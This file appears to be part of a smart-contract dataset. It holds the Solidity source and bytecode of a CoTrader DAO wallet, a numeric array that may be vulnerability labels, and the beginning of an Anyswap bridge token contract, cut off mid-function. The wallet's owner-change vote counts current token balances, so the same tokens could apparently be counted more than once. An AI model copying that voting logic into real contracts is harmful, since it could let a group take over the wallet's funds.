control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface IConvertPortal { function isConvertibleToCOT(address _token, uint256 _amount) external view returns(uint256); function isConvertibleToETH(address _token, uint256 _amount) external view returns(uint256); function convertTokenToCOT(address _token, uint256 _amount) external returns (uint256 cotAmount); function convertETHToCOT(uint256 _amount) external payable returns (uint256 cotAmount); function convertTokenToCOTViaETHHelp(address _token, uint256 _amount) external returns (uint256 cotAmount); } interface IStake { function notifyRewardAmount(uint256 reward) external; } /** * This contract get platform % from CoTrader managers profit and then distributes assets * to burn, stake and platform * * NOTE: 51% CoTrader token holders can change owner of this contract */ // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract CoTraderDAOWallet is Ownable{ using SafeMath for uint256; // COT address IERC20 public COT; // exchange portal for convert tokens to COT IConvertPortal public convertPortal; // stake contract IStake public stake; // array of voters address[] public voters; // voter => candidate mapping(address => address) public candidatesMap; // voter => register status mapping(address => bool) public votersMap; // this contract recognize ETH by this address IERC20 constant private ETH_TOKEN_ADDRESS = IERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); // burn address address public deadAddress = address(0x000000000000000000000000000000000000dEaD); // destribution percents uint256 public burnPercent = 50; uint256 public stakePercent = 10; uint256 public withdrawPercent = 40; /** * @dev contructor * * @param _COT address of CoTrader ERC20 * @param _stake address of Stake contract * @param _convertPortal address of exchange contract */ constructor(address _COT, address _stake, address _convertPortal) public { COT = IERC20(_COT); stake = IStake(_stake); convertPortal = IConvertPortal(_convertPortal); } // send assets to burn address function _burn(IERC20 _token, uint256 _amount) private { uint256 cotAmount = (_token == COT) ? _amount : convertTokenToCOT(address(_token), _amount); if(cotAmount > 0) COT.transfer(deadAddress, cotAmount); } // send assets to stake contract function _stake(IERC20 _token, uint256 _amount) private { uint256 cotAmount = (_token == COT) ? _amount : convertTokenToCOT(address(_token), _amount); if(cotAmount > 0){ COT.transfer(address(stake), cotAmount); stake.notifyRewardAmount(cotAmount); } } // send assets to owner function _withdraw(IERC20 _token, uint256 _amount) private { if(_amount > 0) if(_token == ETH_TOKEN_ADDRESS){ payable(owner).transfer(_amount); }else{ _token.transfer(owner, _amount); } } /** * @dev destribute assest from this contract to stake, burn, and owner of this contract * * @param tokens array of token addresses for destribute */ function destribute(IERC20[] memory tokens) external { for(uint i = 0; i < tokens.length; i++){ // get current token balance uint256 curentTokenTotalBalance = getTokenBalance(tokens[i]); // get destribution percent uint256 burnAmount = curentTokenTotalBalance.div(100).mul(burnPercent); uint256 stakeAmount = curentTokenTotalBalance.div(100).mul(stakePercent); uint256 managerAmount = curentTokenTotalBalance.div(100).mul(withdrawPercent); // destribute _burn(tokens[i], burnAmount); _stake(tokens[i], stakeAmount); _withdraw(tokens[i], managerAmount); } } // return balance of ERC20 or ETH for this contract function getTokenBalance(IERC20 _token) public view returns(uint256){ if(_token == ETH_TOKEN_ADDRESS){ return address(this).balance; }else{ return _token.balanceOf(address(this)); } } /** * @dev Owner can withdraw non convertible token if this token, * can't be converted to COT directly or to COT via ETH * * * @param _token address of token * @param _amount amount of token */ function withdrawNonConvertibleERC(address _token, uint256 _amount) external onlyOwner { uint256 cotReturnAmount = convertPortal.isConvertibleToCOT(_token, _amount); uint256 ethReturnAmount = convertPortal.isConvertibleToETH(_token, _amount); require(IERC20(_token) != ETH_TOKEN_ADDRESS, "token can not be a ETH"); require(cotReturnAmount == 0, "token can not be converted to COT"); require(ethReturnAmount == 0, "token can not be converted to ETH"); IERC20(_token).transfer(owner, _amount); } /** * Owner can update total destribution percent * * * @param _stakePercent percent to stake * @param _burnPercent percent to burn * @param _withdrawPercent percent to withdraw */ function updateDestributionPercent( uint256 _stakePercent, uint256 _burnPercent, uint256 _withdrawPercent ) external onlyOwner { require(_withdrawPercent <= 40, "Too big for withdraw"); stakePercent = _stakePercent; burnPercent = _burnPercent; withdrawPercent = _withdrawPercent; uint256 total = _stakePercent.add(_burnPercent).add(_withdrawPercent); require(total == 100, "Wrong total"); } /** * @dev this function try convert token to COT via DEXs which has COT in circulation * if there are no such pair on this COT supporting DEXs, function try convert to COT on another DEXs * via convert ERC20 input to ETH, and then ETH to COT on COT supporting DEXs. * If such a conversion is not possible return 0 for cotAmount * * * @param _token address of token * @param _amount amount of token */ function convertTokenToCOT(address _token, uint256 _amount) private returns(uint256 cotAmount) { // try convert current token to COT directly uint256 cotReturnAmount = convertPortal.isConvertibleToCOT(_token, _amount); if(cotReturnAmount > 0) { // Convert via ETH directly if(IERC20(_token) == ETH_TOKEN_ADDRESS){ cotAmount = convertPortal.convertETHToCOT.value(_amount)(_amount); } // Convert via COT directly else{ IERC20(_token).approve(address(convertPortal), _amount); cotAmount = convertPortal.convertTokenToCOT(address(_token), _amount); } } // Convert current token to COT via ETH help else { // Try convert token to cot via eth help uint256 ethReturnAmount = convertPortal.isConvertibleToETH(_token, _amount); if(ethReturnAmount > 0) { IERC20(_token).approve(address(convertPortal), _amount); cotAmount = convertPortal.convertTokenToCOTViaETHHelp(address(_token), _amount); } // there are no way convert token to COT else{ cotAmount = 0; } } } // owner can change version of exchange portal contract function changeConvertPortal(address _newConvertPortal) external onlyOwner { convertPortal = IConvertPortal(_newConvertPortal); } // owner can set new stake address for case if previos stake progarm finished function updateStakeAddress(address _newStake) external onlyOwner { stake = IStake(_newStake); } /* ** VOTE LOGIC * * users can change owner if total COT balance of all voters for a certain candidate * more than 50% of COT total supply * */ // register a new vote wallet function voterRegister() external { require(!votersMap[msg.sender], "not allowed register the same wallet twice"); // register a new wallet voters.push(msg.sender); votersMap[msg.sender] = true; } // vote for a certain candidate address function vote(address _candidate) external { require(votersMap[msg.sender], "wallet must be registered to vote"); // vote for a certain candidate candidatesMap[msg.sender] = _candidate; } // return half of (total supply - burned balance) function calculateCOTHalfSupply() public view returns(uint256){ uint256 supply = COT.totalSupply(); uint256 burned = COT.balanceOf(deadAddress); return supply.sub(burned).div(2); } // calculate all vote subscribers for a certain candidate // return balance of COT of all voters of a certain candidate function calculateVoters(address _candidate) public view returns(uint256){ uint256 count; for(uint i = 0; i<voters.length; i++){ // take into account current voter balance // if this user voted for current candidate if(_candidate == candidatesMap[voters[i]]){ count = count.add(COT.balanceOf(voters[i])); } } return count; } // Any user can change owner with a certain candidate // if this candidate address have 51% voters function changeOwner(address _newOwner) external { // get vote data uint256 totalVotersBalance = calculateVoters(_newOwner); // get half of COT supply in market circulation uint256 totalCOT = calculateCOTHalfSupply(); // require 51% COT on voters balance require(totalVotersBalance > totalCOT); // change owner _transferOwnership(_newOwner); } // fallback payable function to receive ether from other contract addresses fallback() external payable {} }
0x60806040526004361061014b5760003560e01c8063a514933b116100b6578063be6d24ec1161006f578063be6d24ec1461049d578063c4b07bcc146104b2578063da58c7d9146104e5578063eaafa52d1461050f578063f28a0f9514610542578063f2fde38b146105575761014b565b8063a514933b14610390578063a6f9dae1146103c3578063ad0996d1146103f6578063ae66d4f41461040b578063b3bf787214610452578063b496659b146104675761014b565b80636dd7d8ea116101085780636dd7d8ea1461023b578063715018a61461026e5780637a9d6c2e146102835780637e723f19146103335780638da5cb5b146103485780638f473b5a1461035d5761014b565b806303807ee51461014d57806327c8f8351461017457806334a6cdc5146101a55780633a4b66f1146101ba5780633aecd0e3146101cf5780633c020f2214610202575b005b34801561015957600080fd5b5061016261058a565b60408051918252519081900360200190f35b34801561018057600080fd5b50610189610590565b604080516001600160a01b039092168252519081900360200190f35b3480156101b157600080fd5b5061016261059f565b3480156101c657600080fd5b506101896105a5565b3480156101db57600080fd5b50610162600480360360208110156101f257600080fd5b50356001600160a01b03166105b4565b34801561020e57600080fd5b5061014b6004803603604081101561022557600080fd5b506001600160a01b03813516906020013561065c565b34801561024757600080fd5b5061014b6004803603602081101561025e57600080fd5b50356001600160a01b03166108ed565b34801561027a57600080fd5b5061014b61096a565b34801561028f57600080fd5b5061014b600480360360208110156102a657600080fd5b8101906020810181356401000000008111156102c157600080fd5b8201836020820111156102d357600080fd5b803590602001918460208302840111640100000000831117156102f557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109c9945050505050565b34801561033f57600080fd5b50610189610ac0565b34801561035457600080fd5b50610189610acf565b34801561036957600080fd5b506101896004803603602081101561038057600080fd5b50356001600160a01b0316610ade565b34801561039c57600080fd5b50610162600480360360208110156103b357600080fd5b50356001600160a01b0316610af9565b3480156103cf57600080fd5b5061014b600480360360208110156103e657600080fd5b50356001600160a01b0316610c07565b34801561040257600080fd5b50610162610c3a565b34801561041757600080fd5b5061043e6004803603602081101561042e57600080fd5b50356001600160a01b0316610d57565b604080519115158252519081900360200190f35b34801561045e57600080fd5b50610189610d6c565b34801561047357600080fd5b5061014b6004803603606081101561048a57600080fd5b5080359060208101359060400135610d7b565b3480156104a957600080fd5b50610162610e4f565b3480156104be57600080fd5b5061014b600480360360208110156104d557600080fd5b50356001600160a01b0316610e55565b3480156104f157600080fd5b506101896004803603602081101561050857600080fd5b5035610e8e565b34801561051b57600080fd5b5061014b6004803603602081101561053257600080fd5b50356001600160a01b0316610eb5565b34801561054e57600080fd5b5061014b610eee565b34801561056357600080fd5b5061014b6004803603602081101561057a57600080fd5b50356001600160a01b0316610f99565b60085481565b6007546001600160a01b031681565b60095481565b6003546001600160a01b031681565b60006001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156105e2575047610657565b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561062857600080fd5b505afa15801561063c573d6000803e3d6000fd5b505050506040513d602081101561065257600080fd5b505190505b919050565b6000546001600160a01b0316331461067357600080fd5b60025460408051633eca736560e01b81526001600160a01b0385811660048301526024820185905291516000939290921691633eca736591604480820192602092909190829003018186803b1580156106cb57600080fd5b505afa1580156106df573d6000803e3d6000fd5b505050506040513d60208110156106f557600080fd5b505160025460408051633b5791a560e11b81526001600160a01b03878116600483015260248201879052915193945060009391909216916376af234a916044808301926020929190829003018186803b15801561075157600080fd5b505afa158015610765573d6000803e3d6000fd5b505050506040513d602081101561077b57600080fd5b505190506001600160a01b03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156107ea576040805162461bcd60e51b81526020600482015260166024820152750e8ded6cadc40c6c2dc40dcdee840c4ca40c2408aa8960531b604482015290519081900360640190fd5b81156108275760405162461bcd60e51b815260040180806020018281038252602181526020018061199b6021913960400191505060405180910390fd5b80156108645760405162461bcd60e51b815260040180806020018281038252602181526020018061197a6021913960400191505060405180910390fd5b600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810187905290519187169263a9059cbb926044808401936020939083900390910190829087803b1580156108bb57600080fd5b505af11580156108cf573d6000803e3d6000fd5b505050506040513d60208110156108e557600080fd5b505050505050565b3360009081526006602052604090205460ff1661093b5760405162461bcd60e51b815260040180806020018281038252602181526020018061190e6021913960400191505060405180910390fd5b33600090815260056020526040902080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461098157600080fd5b600080546040516001600160a01b03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a2600080546001600160a01b0319169055565b60005b8151811015610abc5760006109f38383815181106109e657fe5b60200260200101516105b4565b90506000610a17600854610a11606485610fbc90919063ffffffff16565b90611007565b90506000610a35600954610a11606486610fbc90919063ffffffff16565b90506000610a53600a54610a11606487610fbc90919063ffffffff16565b9050610a72868681518110610a6457fe5b602002602001015184611060565b610a8f868681518110610a8157fe5b60200260200101518361111b565b610aac868681518110610a9e57fe5b60200260200101518261123b565b5050600190920191506109cc9050565b5050565b6001546001600160a01b031681565b6000546001600160a01b031681565b6005602052600090815260409020546001600160a01b031681565b60008060005b600454811015610c00576005600060048381548110610b1a57fe5b60009182526020808320909101546001600160a01b03908116845290830193909352604090910190205485821691161415610bf85760015460048054610bf5926001600160a01b0316916370a082319185908110610b7457fe5b60009182526020918290200154604080516001600160e01b031960e086901b1681526001600160a01b0390921660048301525160248083019392829003018186803b158015610bc257600080fd5b505afa158015610bd6573d6000803e3d6000fd5b505050506040513d6020811015610bec57600080fd5b50518390611326565b91505b600101610aff565b5092915050565b6000610c1282610af9565b90506000610c1e610c3a565b9050808211610c2c57600080fd5b610c3583611380565b505050565b600080600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8b57600080fd5b505afa158015610c9f573d6000803e3d6000fd5b505050506040513d6020811015610cb557600080fd5b5051600154600754604080516370a0823160e01b81526001600160a01b039283166004820152905193945060009391909216916370a08231916024808301926020929190829003018186803b158015610d0d57600080fd5b505afa158015610d21573d6000803e3d6000fd5b505050506040513d6020811015610d3757600080fd5b50519050610d506002610d4a84846113ee565b90610fbc565b9250505090565b60066020526000908152604090205460ff1681565b6002546001600160a01b031681565b6000546001600160a01b03163314610d9257600080fd5b6028811115610ddf576040805162461bcd60e51b8152602060048201526014602482015273546f6f2062696720666f7220776974686472617760601b604482015290519081900360640190fd5b60098390556008829055600a8190556000610e0482610dfe8686611326565b90611326565b905080606414610e49576040805162461bcd60e51b815260206004820152600b60248201526a15dc9bdb99c81d1bdd185b60aa1b604482015290519081900360640190fd5b50505050565b600a5481565b6000546001600160a01b03163314610e6c57600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610e9b57fe5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b03163314610ecc57600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526006602052604090205460ff1615610f3d5760405162461bcd60e51b815260040180806020018281038252602a815260200180611950602a913960400191505060405180910390fd5b6004805460018181019092557f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b031916339081179091556000908152600660205260409020805460ff19169091179055565b6000546001600160a01b03163314610fb057600080fd5b610fb981611380565b50565b6000610ffe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611430565b90505b92915050565b60008261101657506000611001565b8282028284828161102357fe5b0414610ffe5760405162461bcd60e51b815260040180806020018281038252602181526020018061192f6021913960400191505060405180910390fd5b6001546000906001600160a01b038481169116146110875761108283836114d2565b611089565b815b90508015610c35576001546007546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b1580156110ea57600080fd5b505af11580156110fe573d6000803e3d6000fd5b505050506040513d602081101561111457600080fd5b5050505050565b6001546000906001600160a01b038481169116146111425761113d83836114d2565b611144565b815b90508015610c35576001546003546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b1580156111a557600080fd5b505af11580156111b9573d6000803e3d6000fd5b505050506040513d60208110156111cf57600080fd5b505060035460408051633c6b16ab60e01b81526004810184905290516001600160a01b0390921691633c6b16ab9160248082019260009290919082900301818387803b15801561121e57600080fd5b505af1158015611232573d6000803e3d6000fd5b50505050505050565b8015610abc576001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156112a557600080546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561129f573d6000803e3d6000fd5b50610abc565b600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b1580156112fc57600080fd5b505af1158015611310573d6000803e3d6000fd5b505050506040513d6020811015610e4957600080fd5b600082820183811015610ffe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03811661139357600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ffe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118b3565b600081836114bc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611481578181015183820152602001611469565b50505050905090810190601f1680156114ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816114c857fe5b0495945050505050565b60025460408051633eca736560e01b81526001600160a01b03858116600483015260248201859052915160009384931691633eca7365916044808301926020929190829003018186803b15801561152857600080fd5b505afa15801561153c573d6000803e3d6000fd5b505050506040513d602081101561155257600080fd5b50519050801561170f576001600160a01b03841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611603576002546040805163dae8da5560e01b81526004810186905290516001600160a01b039092169163dae8da55918691602480830192602092919082900301818588803b1580156115cf57600080fd5b505af11580156115e3573d6000803e3d6000fd5b50505050506040513d60208110156115fa57600080fd5b5051915061170a565b6002546040805163095ea7b360e01b81526001600160a01b0392831660048201526024810186905290519186169163095ea7b3916044808201926020929091908290030181600087803b15801561165957600080fd5b505af115801561166d573d6000803e3d6000fd5b505050506040513d602081101561168357600080fd5b505060025460408051635329779b60e11b81526001600160a01b038781166004830152602482018790529151919092169163a652ef369160448083019260209291908290030181600087803b1580156116db57600080fd5b505af11580156116ef573d6000803e3d6000fd5b505050506040513d602081101561170557600080fd5b505191505b610c00565b60025460408051633b5791a560e11b81526001600160a01b03878116600483015260248201879052915160009392909216916376af234a91604480820192602092909190829003018186803b15801561176757600080fd5b505afa15801561177b573d6000803e3d6000fd5b505050506040513d602081101561179157600080fd5b5051905080156118a6576002546040805163095ea7b360e01b81526001600160a01b0392831660048201526024810187905290519187169163095ea7b3916044808201926020929091908290030181600087803b1580156117f157600080fd5b505af1158015611805573d6000803e3d6000fd5b505050506040513d602081101561181b57600080fd5b505060025460408051630508acdd60e31b81526001600160a01b038881166004830152602482018890529151919092169163284566e89160448083019260209291908290030181600087803b15801561187357600080fd5b505af1158015611887573d6000803e3d6000fd5b505050506040513d602081101561189d57600080fd5b505192506118ab565b600092505b505092915050565b600081848411156119055760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611481578181015183820152602001611469565b50505090039056fe77616c6c6574206d757374206265207265676973746572656420746f20766f7465536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776e6f7420616c6c6f776564207265676973746572207468652073616d652077616c6c6574207477696365746f6b656e2063616e206e6f7420626520636f6e76657274656420746f20455448746f6b656e2063616e206e6f7420626520636f6e76657274656420746f20434f54a264697066735822122053747a8e4b8231f1a5e6fbb04a9a8781f3580151b8a06734654de852cb31673e64736f6c634300060c0033
[ 4, 11, 12, 16, 5 ]
0xf1b7980826cd89a99e45eb4236492fd42d463660
/** *Submitted for verification at polygonscan.com on 2021-10-21 */ /** *Submitted for verification at BscScan.com on 2021-06-15 */ /** *Submitted for verification at BscScan.com on 2021-06-11 */ /** *Submitted for verification at polygonscan.com on 2021-06-11 */ /** *Submitted for verification at Etherscan.io on 2021-06-08 */ /** *Submitted for verification at Etherscan.io on 2021-06-07 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. */ interface IERC2612 { /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); } /// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can /// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the /// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet. interface IAnyswapV3ERC20 is IERC20, IERC2612 { /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external returns (bool); } interface ITransferReceiver { function onTokenTransfer(address, uint, bytes calldata) external returns (bool); } interface IApprovalReceiver { function onTokenApproval(address, uint, bytes calldata) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AnyswapV5ERC20 is IAnyswapV3ERC20 { using SafeERC20 for IERC20; string public name; string public symbol; uint8 public immutable override decimals; address public immutable underlying; bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; /// @dev Records amount of AnyswapV3ERC20 token owned by account. mapping (address => uint256) public override balanceOf; uint256 private _totalSupply; // init flag for setting immediate vault, needed for CREATE2 support bool private _init; // flag to enable/disable swapout vs vault.burn so multiple events are triggered bool private _vaultOnly; // configurable delay for timelock functions uint public delay = 2*24*3600; // set of minters, can be this bridge or other bridges mapping(address => bool) public isMinter; address[] public minters; // primary controller of the token contract address public vault; address public pendingMinter; uint public delayMinter; address public pendingVault; uint public delayVault; uint public pendingDelay; uint public delayDelay; modifier onlyAuth() { require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN"); _; } modifier onlyVault() { require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN"); _; } function owner() public view returns (address) { return mpc(); } function mpc() public view returns (address) { if (block.timestamp >= delayVault) { return pendingVault; } return vault; } function setVaultOnly(bool enabled) external onlyVault { _vaultOnly = enabled; } function initVault(address _vault) external onlyVault { require(_init); vault = _vault; pendingVault = _vault; isMinter[_vault] = true; minters.push(_vault); delayVault = block.timestamp; _init = false; } function setMinter(address _auth) external onlyVault { pendingMinter = _auth; delayMinter = block.timestamp + delay; } function setVault(address _vault) external onlyVault { pendingVault = _vault; delayVault = block.timestamp + delay; } function applyVault() external onlyVault { require(block.timestamp >= delayVault); vault = pendingVault; } function applyMinter() external onlyVault { require(block.timestamp >= delayMinter); 